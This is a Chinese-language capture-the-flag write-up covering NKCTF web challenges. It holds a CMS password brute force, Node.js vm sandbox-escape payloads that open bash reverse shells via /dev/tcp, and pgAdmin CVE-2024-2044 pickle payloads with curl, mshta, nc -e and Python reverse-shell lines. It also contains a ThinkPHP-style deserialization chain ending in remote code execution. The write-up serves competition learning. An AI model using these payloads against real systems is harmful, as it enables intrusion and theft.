2023-NKCTF-wp

NKCTF WP WEB

结果

比赛结束 排名:48

image-20240325194057570

也算是造神成功吧

我们队:

image-20240325214319739

还是可以

爆了1道web 2道misc 1道re 1道pwn

我会做的就3道 现在先复现一下web方向的题吧

image-20240325194620606

my first cms

cms弱密码爆破+命令执行

这道是唯一写出来的web题

进来时一些页面 有新闻 下载等

image-20240325194732447

其实在最开始发现在url上有一些东西

image-20240325194837561

page可以通过数字改变来改变页面状态

然后尝试sql注入 无果

然后在首页发现登录连接

image-20240325195032700

click here to login

点击后有登录页面

image-20240325195118920

cms的弱密码爆破

先猜user name 是admin

抓包:

image-20240325195529321

发给intruder

image-20240325195811599

标爆破目标

传字典

image-20240325195844012

开始用了一个5000的字典没爆破出来

image-20240325200015594

找到302重定向

所以密码就是Admin123

登录 进入后台

image-20240325200213692

有文件上传系统

image-20240325200326549

可以通过写马进行后门连接

可以直接命令执行

image-20240325200721766

要run两次可以执行一次命令

image-20240325200813773

发现flag文件

直接cat

image-20240325201230264

全世界最简单的CTF

image-20240325201353536

进来后只有一个这个界面

只能执行js代码

dirsearch扫一下

image-20240325202349709

发现泄露 secret

访问

image-20240325202543022

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");

app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static('public'))

app.get('/', function (req, res){
res.sendFile(__dirname + '/public/home.html');
})


function waf(code) {
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval
|Function)/g;
if(code.match(pattern)){
throw new Error("what can I say? hacker out!!");
}
}

app.post('/', function (req, res){
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code)
let result = vm.runInContext(code, context);
console.log(result);
} catch (e){
console.log(e.message);
require('./hack');
}
})

app.get('/secret', function (req, res){
if(process.__filename == null) {
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
})


app.listen(3000, ()=>{
console.log("listen on 3000");
})

交给ai后发现是vm沙箱逃逸

image-20240325203526702

我也是卡在这里

有waf

function waf(code) {
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval
|Function)/g;
if(code.match(pattern)){
throw new Error("what can I say? hacker out!!");
}
}

随便在网上找了个payload来打

throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})

但是waf过滤了几乎所以绕过

至少在比赛的这两天 我们尝试了网上能找到的几乎所以绕过方式 也没法绕过

我们也是卡在这里 没有解决

至此 有三种方式可以继续向下完成这道题

法1

继续绕过 果然 还有我们没想到的绕过方法可以继续

waf不允许出现[] exec process

process我们有两种方法绕过

一种是 String.fromCharCode 绕过

cc.constructor.constructor('return process')==cc.constructor.constructor(String.fromCharCode(114, 101, 116, 117, 114, 110, 32, 112, 114, 111, 99, 101, 115, 115)

第二种我们可以发现他正则匹配没有i 也就是对大小写不敏感 我们可以通过js里面的 toLowerCase()绕过

return process=='return Process'.toLowerCase();

接下来我们看最难的exec绕过,这个东西不是字符串,而是方法,所以我们并不能像之前两种方式绕过,我们选择 Reflect.get 方法绕过

nodejs的命令执行绕过:

文章:https://www.anquanke.com/post/id/237032

在js中,需要使用Reflect这个关键字来实现反射调用函数的方式。譬如要得到eval函数,可以首先通过Reflect.ownKeys(global)拿到所有函数,然后global[Reflect.ownKeys(global).find(x=>x.includes(‘eval’))]即可得到eval
console.log(Reflect.ownKeys(global))
//返回所有函数
console.log(global[Reflect.ownKeys(global).find(x=>x.includes(‘eval’))])
//拿到eval
拿到eval之后,就可以常规思路rce了
global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")')
这里虽然有可能被检测到的关键字,但由于mainModule、global、child_process等关键字都在字符串里,可以利用上面提到的方法编码,譬如16进制。
global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('\x67\x6c\x6f\x62\x61\x6c\x5b\x52\x65\x66\x6c\x65\x63\x74\x2e\x6f\x77\x6e\x4b\x65\x79\x73\x28\x67\x6c\x6f\x62\x61\x6c\x29\x2e\x66\x69\x6e\x64\x28\x78\x3d\x3e\x78\x2e\x69\x6e\x63\x6c\x75\x64\x65\x73\x28\x27\x65\x76\x61\x6c\x27\x29\x29\x5d\x28\x27\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29\x27\x29')
这里还有个小trick,如果过滤了eval关键字,可以用includes(‘eva’)来搜索eval函数,也可以用startswith(‘eva’)来搜索

3.3 过滤中括号的情况
在3.2中,获取到eval的方式是通过global数组,其中用到了中括号[],假如中括号被过滤,可以用Reflect.get来绕
Reflect.get(target, propertyKey[, receiver])的作用是获取对象身上某个属性的值,类似于target[name]。
所以取eval函数的方式可以变成
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes(‘eva’)))
后面拼接上命令执行的payload即可。

image-20240325204728449

所以 根据你提供的对象的键获取到对应的值 是不是和数组的索引有点像呢,我们用他来绕过

payload:

throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return global'))();
const a = Reflect.get(p, Reflect.ownKeys(p).find(x=>x.includes('pro'))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));
return Reflect.get(a, Reflect.ownKeys(a).find(x=>x.includes('ex')))("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}
})

反弹shell拿flag

注:一定要是公网ip kali的ip监听不到

image-20240325211333596

直接/readflag

image-20240325211422360

法2

vm1漏洞加了一点限制,没有this 指针,但是因为有try,可以抛出异常来逃逸,payload如下

throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return procBess'.replace('B','')))();
const obj = p.mainModule.require('child_procBess'.replace('B',''));
const ex = Object.getOwnPropertyDescriptor(obj, 'exeicSync'.replace('i',''));
return ex.value('whoami').toString();
}
})


//一样的思路 但是是反弹shell
throw new Proxy({},{
get: function(){
const b = arguments.callee.caller
const p = (b.constructor.constructor('return procBess'.replace('B','')))();
const e = p.mainModule.require('child_procBess'.replace('B',''));
const c= Reflect.get(Reflect.get(e, Reflect.ownKeys(e).find(x=>x.startsWith('ex')))('bash -c "bash -i >& /dev/tcp/ip+/ 0>&1"'));
return c;
}
})

image-20240325211540945

也是直接读/readflag

环境问题 此方法没有弹出flag 但正常情况下一定能出

法3

根据源码可以看出是一个 vm 逃逸,但是 waf 过于强大,导致没法逃逸执行命令,只能另辟蹊径,可以发现 /secret 中对 process.__filename 有一个判断,

app.get('/secret', function (req, res){
if(process.__filename == null) {
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
})

正常情况下,process 是没有__filename 这个属性的,猜测这里可以原型链污染,从而任意读取文件,回过来看逃逸这里,arguments.callee.caller 可以获取到沙盒外的一个对象,所以我们这里可以进行污染,如:

throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
cc.__proto__.__proto__.__filename = "/etc/passwd";
}
})

这样就污染了 Object 的__filename属性,process 因为找不到__filename 这个属性,就会到prototype 里去找,最终在 Object 找到这个属性,观察源码可以发现 require(‘./hack’) ,污染 process.__filename 为 /app/hack.js ,访问 /secret,读取到 hack.js 的内容为 :

console.log('shell.js');

继续读取 shell.js:

console.log("shell");
const p = require('child_process');
p.execSync(process.env.command);

这里很明显 process.env.command 也能进行污染控制,问题是怎么 include shell.js,漏洞点在 require(‘/hack’) ,打断点进入 require 方法调试,可以发现里面可以通过原型链污染控制某些属性的值,可以达到任意文件包含的效果,调试过程可以参考,我们构造 payload 包含 shell.js,就可以 rce 了

throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
cc.__proto__.__proto__.data = {"name": "./hack","exports":
"./shell.js"};
cc.__proto__.__proto__.path = "/app";
cc.__proto__.__proto__.command = "bash -c 'bash -i >& /dev/
tcp/vps/port 0>&1'";
}
})

也是反弹shell

同样读/readflag 即可

image-20240325213743878

attack_tacoooooooo

这道题也是有思路吧

题目描述:

image-20240325214022039

进入容器

image-20240325214417999

开始时也是发现url上有参数 尝试sql 无果

回头看题目描述 得到账号:tacooooo@qq.com

然后就产生爆破密码 6000的字典没有爆出 感觉应该不是这样写的

抓包:

image-20240325214820515

传密码123 回显:

image-20240325215028893

密码不对

然后我发现容器叫:

image-20240325215113200

所以尝试密码为pgAdmin4

回显:

image-20240325215209147

到这里我感觉其实密码就是pgAdmin4

结合抓包结果

cookie中有 pga4_session

post传参有: csrf_token

再结合研究这道题后 查找出资料发现 这道题可能是:CVE-2024 2044

CVE-2024 2044的漏洞复现:

image-20240325215735767

也有pga4_session 极有可能是

最后发现CVE-2024 2044其实跟pickle反序列化有关

再结合我输入pgAdmin4的回显

至此 我认为我的思路清晰了 通过pickle反序列化将cookie覆盖 然后登录进入

但是 我根本不知道要将cookie覆盖成什么 卡死在这里

看完wp后发现其实可以直接登录进入

密码是tacooooo 怎么说呢 回显误我QAQ

进入:
image-20240325221234776

然后呢

请看此[文章](屏蔽器 - pgAdmin (<=8.3) 会话处理中的路径遍历会导致不安全的反序列化和远程代码执行 (RCE) (shielder.com))

反正我在国内没找到有用的CVE-2024 2044的文章

所以CVE-2024 2044与pickle反序列化的思路是没问题的

根据文章复现漏洞即可

linux:

image-20240325224759191

posix.pickle文件生成:

import struct
import sys

def produce_pickle_bytes(platform, cmd):
b = b'\x80\x04\x95'
b += struct.pack('L', 22 + len(platform) + len(cmd))
b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
b += b'\x94\x8c\x06system\x94\x93\x94'
b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
b += b'\x94\x85\x94R\x94.'
print(b)
return b

if __name__ == '__main__':
if len(sys.argv) != 2:
exit(f"usage: {sys.argv[0]} ip:port")
with open('nt.pickle', 'wb') as f:
f.write(produce_pickle_bytes('nt', f"mshta.exe http://{HOST}/"))
with open('posix.pickle', 'wb') as f:
f.write(produce_pickle_bytes('posix', f"curl http://{HOST}/"))

创建两个序列化对象,一个用于 Windows(),一个用于 Linux/POSIX(),它们将在反序列化时执行 HTTP 请求

所以要稍微改一下 生成文件的脚本

import struct
import sys

def produce_pickle_bytes(platform, cmd):
b = b'\x80\x04\x95'
b += struct.pack('L', 22 + len(platform) + len(cmd))
b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
b += b'\x94\x8c\x06system\x94\x93\x94'
b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
b += b'\x94\x85\x94R\x94.'
print(b)
return b

if __name__ == '__main__':
with open('posix.pickle', 'wb') as f:
f.write(produce_pickle_bytes('posix', f"nc ip port -e /bin/sh"))

根据上文

接下来就是上传文件 然后改cookie和替换pga4_session

将 cookie 值更改为替换为当前登录用户的电子邮件,

然后替换为pga4_session../storage/<email>/posix.pickle!a<email>@_

并且我们的cookie路径是绝对路径而不是相对的 /var/lib/pgadmin/storage/tacooooo_qq.com/posix.pickle!a

所以现在我们需要找到一个可以上传文件的地方

image-20240326000715537

最后在这里面找到文件上传系统

image-20240326001309065

运行

image-20240326001953198

其实是生成一段Pickle反序列化后的代码 这里是没加ip的

记得要加Ip和端口

所以直接来也是一样的

import pickle
import os
import pickletools

class exp():
def __reduce__(self):
return (exec, ("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);",))

if __name__ == '__main__':
c = exp()
payload = pickle.dumps(c)
with open('posix.pickle', 'wb') as f:
f.write(payload)

上传文件posix.pickle

image-20240326002549806

然后随便抓包改cookie

再反弹shell即可

image-20240326004459228

用过就是熟悉

这个是完全没思路 审了半天源码 其实感觉是反序列化 但是代码太多了 没找到链子

think反序列化

题目:

image-20240326005418505

进来是个登录界面

image-20240326005453711

给了源码

简单看下源码其实就能发现有一些魔术方法 这也是我为什么猜测有反序列化漏洞的原因

所以直接搜unserialize

thelover3\files\app\controller\user\think\Template.php中有unserialize

image-20240326012724127

thelover3\files\app\controller\user\think\Testone.php

image-20240326012853029

thelover3\files\app\controller\user\index.class.php

image-20240326013324096

这个还有提示 不出意外的话就是这个了 保险起见 继续找下

thelover3\files\app\api\KodSSO.class.php

image-20240326013917710

thelover3\files\app\function\common.function.php

image-20240326014024928

差不多了

其实就是第三个

给了hint :tp->thinkphp

所以是thinkphp反序列化 且这里是是链子的开头

接下来就是用一样的方法找__destruct方法和__wakeup

__destruct:

thelover3\files\app\controller\user\think\process\pipes\Windows.php

image-20240326015142272

thelover3\files\app\controller\user\think\Process.php

image-20240326015250578

thelover3\files\app\controller\user\think\process\pipes\Unix.php

image-20240326015353427

只有三个

根据代码 第一个是链子的可能新最高

__wakeup:

thelover3\files\app\controller\user\think\process\pipes\Windows.php

image-20240326015646878

D:\流量\thelover3\files\app\controller\user\think\process\pipes\Pipes.php

image-20240326015717657

只有两个 并且这两个都没什么用

所以第一个__destruct应该有链子

查找资料后发现:

tp5.0.24很像

根据文章继续跟进

public function __destruct()
{
$this->close();
$this->removeFiles();
}

跟进close():

image-20240326020947054

close为关闭文件的方法,没有利用点

跟进removeFiles():

image-20240326021123398

此处对 $result 进行了赋值,其中包含字段$filename是可控的,所以可以触发 toString 魔术方法

根本没想到这里QAQ

又是一处思维误区 习惯性的在Windows.php中找 没有 最后在Collection.php中找到

image-20240326021644991

这里可以继续跟进toJson() 太难找了

thelover3\files\app\controller\user\think\Collection.php

在Collection.php里面的话为什么我最开始没找到QAQ

image-20240326024642098

一样在Collection.php继续跟进toArray()

image-20240326024913038

这里的$items也是可控的,所以可以触发__get 魔术方法 访问不存在的属性

而在上文提到的文章中发现他的toArray()很长

public function toArray()
{
........
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);

if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}

这里其实是在触发__call方法

所以我们这里也要想办法触发__call方法

找到__get

thelover3\files\app\controller\user\think\View.php

image-20240326030040471

$data 参数也是可控的,接着我们就能调用__call方法

但是其实是有两个__call方法 如下:

thelover3\files\app\controller\user\think\Config.php 这个可以包含文件

image-20240326030301317

thelover3\files\app\controller\user\think\Testone.php 这个可以写文件

image-20240326030409253

第二个__call:我们的content 写进去的内容来自于hint.php 我们跟进

hinthinthinthinthinthinthint.php:

image-20240326030755478

说明我们的content里面有提示,所以我们的思路就是首先走写文件的__call,然后读hint 直接放poc了

<?php
namespace think\process\pipes;
use think\Collection;

class Pipes{

}

class Windows extends Pipes{
private $files = [];

function __construct(){
$this->files = [new Collection()];//触发Model __toString(),子类Pivot合适
}
}

namespace think;
class Collection{
protected $items = [];
public function __construct(){
$this->items=new View();
}
}
namespace think;
abstract class Testone{

}
class Debug extends Testone{

}
class Config{

}
class View{
public $engine=array("time"=>"10086");
protected $data = [];
function __construct(){
$this->data['Loginout']=new Debug();
}
}



use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

注意生成文件名的逻辑:

md5(time())

所以我们可以根据本地预测时间的方式执行

<?php
$a=time()+6;
echo md5($a);

然后执行这个脚本后 马上重复发包(生成hint的包),连发六秒,保险起见 也可以多发几秒,这样总有一个是我们的生成的文件名

其实可以直接写时间md5竞争上传脚本

import hashlib
import time
import requests

t = 1711177055
url = "http://119b2b2c-d2c8-491a-a211-886d4261cdb8.node.nkctf.yuzhian.com.cn/app/controller/user/think/"
# 遍历列表中的每个数字
while True:
t = t + 1
number_str = str(t).encode('utf-8')
hash_object = hashlib.md5(number_str)
md5_hash = hash_object.hexdigest()


res = requests.get(url=url+md5_hash)
time.sleep(1)
print(f"{md5_hash} : f{len(res.text)}")
print(res.text)

/app/controller/user/think/md5 下载到hint

也可以直接爆破文件名

import requests
import hashlib
import time
url = 'http://192.168.146.131:3101/?user/index/loginSubmit'

data = {
'name':'guest',
'password':'TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM
0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE2Oi
J0aGlua1xDb2xsZWN0aW9uIjoxOntzOjg6IgAqAGl0ZW1zIjtPOjEwOiJ0aGlua1xWaWV3I
joyOntzOjc6IgAqAGRhdGEiO2E6MTp7czo4OiJMb2dpbm91dCI7TzoxMToidGhpbmtcRGVi
dWciOjA6e319czo2OiJlbmdpbmUiO2E6Mjp7czo0OiJ0aW1lIjtzOjU6IjEwMDg2IjtzOjQ
6Im5hbWUiO3M6MTY6ImRhdGEvZmlsZXMvc2hlbGwiO319fX19',
'rememberPassword':'0',
'salt':'1',
'CSRF_TOKEN':'4jxeh3K4CNEettFi',
'API_ROUTE':'user/index/loginSubmit'
}

response = requests.post(url=url,data=data)
time = int(time.time())
for i in range(time-,time+50):
md5_hash = hashlib.md5(str(i).encode()).hexdigest()
url2 = 'http://192.168.146.131:3101/app/controller/user/think/' + s
tr(md5_hash)
res = requests.get(url2)
if '可道' not in res.text:
print(md5_hash)
break

hint:

亲爱的Chu0,

我怀着一颗激动而充满温柔的心,写下这封情书,希望它能够传达我对你的深深情感。或许这只是一封文字,但我希望每一个字都能如我心情般真挚。

在这个瞬息万变的世界里,你是我生命中最美丽的恒定。每一天,我都被你那灿烂的笑容和温暖的眼神所吸引,仿佛整个世界都因为有了你而变得更加美好。你的存在如同清晨第一缕阳光,温暖而宁静。

或许,我们之间存在一种特殊的联系,一种只有我们两个能够理解的默契。



<<<<<<<<我曾听说,密码的明文,加上心爱之人的名字(Chu0),就能够听到游客的心声。>>>>>>>>


而我想告诉你,你就是我心中的那个游客。每一个与你相处的瞬间,都如同解开心灵密码的过程,让我更加深刻地感受到你的独特魅力。

你的每一个微笑,都是我心中最美丽的音符;你的每一句关心,都是我灵魂深处最温暖的拥抱。在这个喧嚣的世界中,你是我安静的港湾,是我倚靠的依托。我珍视着与你分享的每一个瞬间,每一段回忆都如同一颗珍珠,串联成我生命中最美丽的项链。

或许,这封情书只是文字的表达,但我愿意将它寄予你,如同我内心深处对你的深深情感。希望你能感受到我的真挚,就如同我每一刻都在努力解读心灵密码一般。愿我们的故事能够继续,在这段感情的旅程中,我们共同书写属于我们的美好篇章。



POST /?user/index/loginSubmit HTTP/1.1
Host: 192.168.128.2
Content-Length: 162
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.128.2
Referer: http://192.168.128.2/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: kodUserLanguage=zh-CN; CSRF_TOKEN=xxx
Connection: close

name=guest&password=tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI&rememberPassword=0&salt=1&CSRF_TOKEN=xxx&API_ROUTE=user%2Findex%2FloginSubmit

hint: 新建文件

通过这个请求包可以对password进行解密

注意:?user/index/loginSubmit

看一下

public function loginSubmit() {

$res = $this->loginWithToken();
if($res || $res !== false) return $res;
$data = Input::getArray(array(
"name" => array("check"=>"require",'lengthMax'=>100),
"password" => array('check'=>"require",'lengthMax'=>10000),
"salt" => array("default"=>false),
));
//你知道tp吗?
if($data['name']==='guest'){
unserialize(base64_decode($data['password']));
}
if ($data['salt']) {
$key = substr($data['password'], 0, 5) . "2&$%@(*@(djfhj1923";
$data['password'] = Mcrypt::decode(substr($data['password'], 5), $key);
}
$user = $this->userInfo($data['name'],$data['password']);
// if (!is_array($user)){
// $error = UserModel::errorLang($user);
// $error = $error ? $error:LNG('user.pwdError');
// show_json($error,false);
// }
// if(!$user['status']){
// show_json(LNG('user.userEnabled'), ERROR_CODE_USER_INVALID);
// }
$this->loginSuccessUpdate($user);
$this->loginAuto();
show_json('ok',true,$this->accessToken());
}
if ($data['salt']) {
$key = substr($data['password'], 0, 5) . "2&$%@(*@(djfhj1923";
$data['password'] = Mcrypt::decode(substr($data['password'], 5), $key);

发现decode 跟踪解密

AI写解密脚本

<?php
/*
* @link http://kodcloud.com/
* @author warlee | e-mail:kodcloud@qq.com
* @copyright warlee 2014.(Shanghai)Co.,Ltd
* @license http://kodcloud.com/tools/license/license.txt
*------
* 字符串加解密类;
* 一次一密;且定时解密有效
* 可用于加密&动态key生成
* demo:
* 加密:echo Mcrypt::encode('abc','123');
* 解密:echo Mcrypt::decode('9f843I0crjv5y0dWE_-uwzL_mZRyRb1ynjGK4I_IAC
Q','123');
*/
class Mcrypt{
public static $defaultKey = 'a!takA:dlmcldEv,e';
/**
* 字符加解密,一次一密,可定时解密有效
*
* @param string $string 原文或者密文
* @param string $operation 操作(encode | decode)
* @param string $key 密钥
* @param int $expiry 密文有效期,单位s,0 为永久有效
* @return string 处理后的 原文或者 经过 base64_encode 处理后的密文
*/
public static function encode($string,$key = '', $expiry = 0,$cKeyS
et='',$encode=true){
if($encode){$string = rawurlencode($string);}
$ckeyLength = 4;
$key = md5($key ? $key : self::$defaultKey); //解密密匙
$keya = md5(substr($key, 0, 16)); //做数据完整性验

$keyb = md5(substr($key, 16, 16)); //用于变化生成的
密文 (初始化向量IV)
$cKeySet = $cKeySet ? $cKeySet: md5(microtime());
$keyc = substr($cKeySet, - $ckeyLength);
$cryptkey = $keya . md5($keya . $keyc);
$keyLength = strlen($cryptkey);
PHP
$string = sprintf('%010d', $expiry ? $expiry + time() : 0).su
bstr(md5($string . $keyb), 0, 16) . $string;
$stringLength = strlen($string);

$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $keyLength]);
}

$box = range(0, 255);
// 打乱密匙簿,增加随机性
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
// 加解密,从密匙簿得出密匙进行异或,再转成字符
$result = '';
for($a = $j = $i = 0; $i < $stringLength; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box
[$j]) % 256]));
}
$result = $keyc . str_replace('=', '', base64_encode($resul
t));
$result = str_replace(array('+', '/', '='),array('-', '_',
'.'), $result);
return $result;
}

/**
* 字符加解密,一次一密,可定时解密有效
*
* @param string $string 原文或者密文
* @param string $operation 操作(encode | decode)
* @param string $key 密钥
* @param int $expiry 密文有效期,单位s,0 为永久有效
* @return string 处理后的 原文或者 经过 base64_encode 处理后的密文
*/
public static function decode($string,$key = '',$encode=true){
$string = str_replace(array('-', '_', '.'),array('+', '/',
'='), $string);
$ckeyLength = 4;
$key = md5($key ? $key : self::$defaultKey); //解密密匙
$keya = md5(substr($key, 0, 16)); //做数据完整性验

$keyb = md5(substr($key, 16, 16)); //用于变化生成的
密文 (初始化向量IV)
$keyc = substr($string, 0, $ckeyLength);
$cryptkey = $keya . md5($keya . $keyc);
$keyLength = strlen($cryptkey);
$string = base64_decode(substr($string, $ckeyLength));
$stringLength = strlen($string);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $keyLength]);
}
$box = range(0, 255);
// 打乱密匙簿,增加随机性
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
// 加解密,从密匙簿得出密匙进行异或,再转成字符 $result = '';
for($a = $j = $i = 0; $i < $stringLength; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box
[$j]) % 256]));
}
$theTime = intval(substr($result, 0, 10));
$resultStr = '';
if (($theTime == 0 || $theTime - time() > 0)
&& substr($result, 10, 16) == substr(md5(substr($result,
26) . $keyb), 0, 16)
) {
$resultStr = substr($result, 26);
if($encode){$resultStr = rawurldecode($resultStr);}
}

return $resultStr;
}
}
$a = 'tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1h
RiPQvaI';
$key = substr($a, 0, 5) . "2&$%@(*@(djfhj1923";
echo Mcrypt::decode(substr($a, 5),$key);

解密出密码为!@!@!@!@NKCTFChu0

其实sql文件里面也有

登录

image-20240326033828913

进入

image-20240326033936498

回收站中找到shell 还原

image-20240326034213543

image-20240326034248340

还给了路径 尝试访问该路由发现确实存在该文件

结合之前的文件包含的__call()

直接包含 poc:

<?php
namespace think\process\pipes;
use think\Collection;

class Pipes{

}

class Windows extends Pipes{
private $files = [];

function __construct(){
$this->files = [new Collection()];//触发Model __toString(),子类Pivot合适
}
}

namespace think;
class Collection{
protected $items = [];
public function __construct(){
$this->items=new View();
}
}
namespace think;
abstract class Testone{

}
class Debug extends Testone{

}
class Config{

}
class View{
public $engine=array("name"=>"data/files/shell");
protected $data = [];
function __construct(){
$this->data['Loginout']=new Config();
}
}



use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
//TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtcc
HJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE2OiJ0aGlua1xDb2xs
ZWN0aW9uIjoxOntzOjg6IgAqAGl0ZW1zIjtPOjEwOiJ0aGlua1xWaWV3IjoyOntzOjc6IgA
qAGRhdGEiO2E6MTp7czo4OiJMb2dpbm91dCI7TzoxMjoidGhpbmtcQ29uZmlnIjowOnt9fX
M6NjoiZW5naW5lIjthOjI6e3M6NDoidGltZSI7czo1OiIxMDA4NiI7czo0OiJuYW1lIjtzO
jE2OiJkYXRhL2ZpbGVzL3NoZWxsIjt9fX19fX0==

发包,后面是一个无回显 rce

image-20240326035138941

执行命令 好像没有bash或nc 用curl dns外带成功

image-20240326034721835

直接读flag

image-20240326034755159

结束 最后一道题太抽象了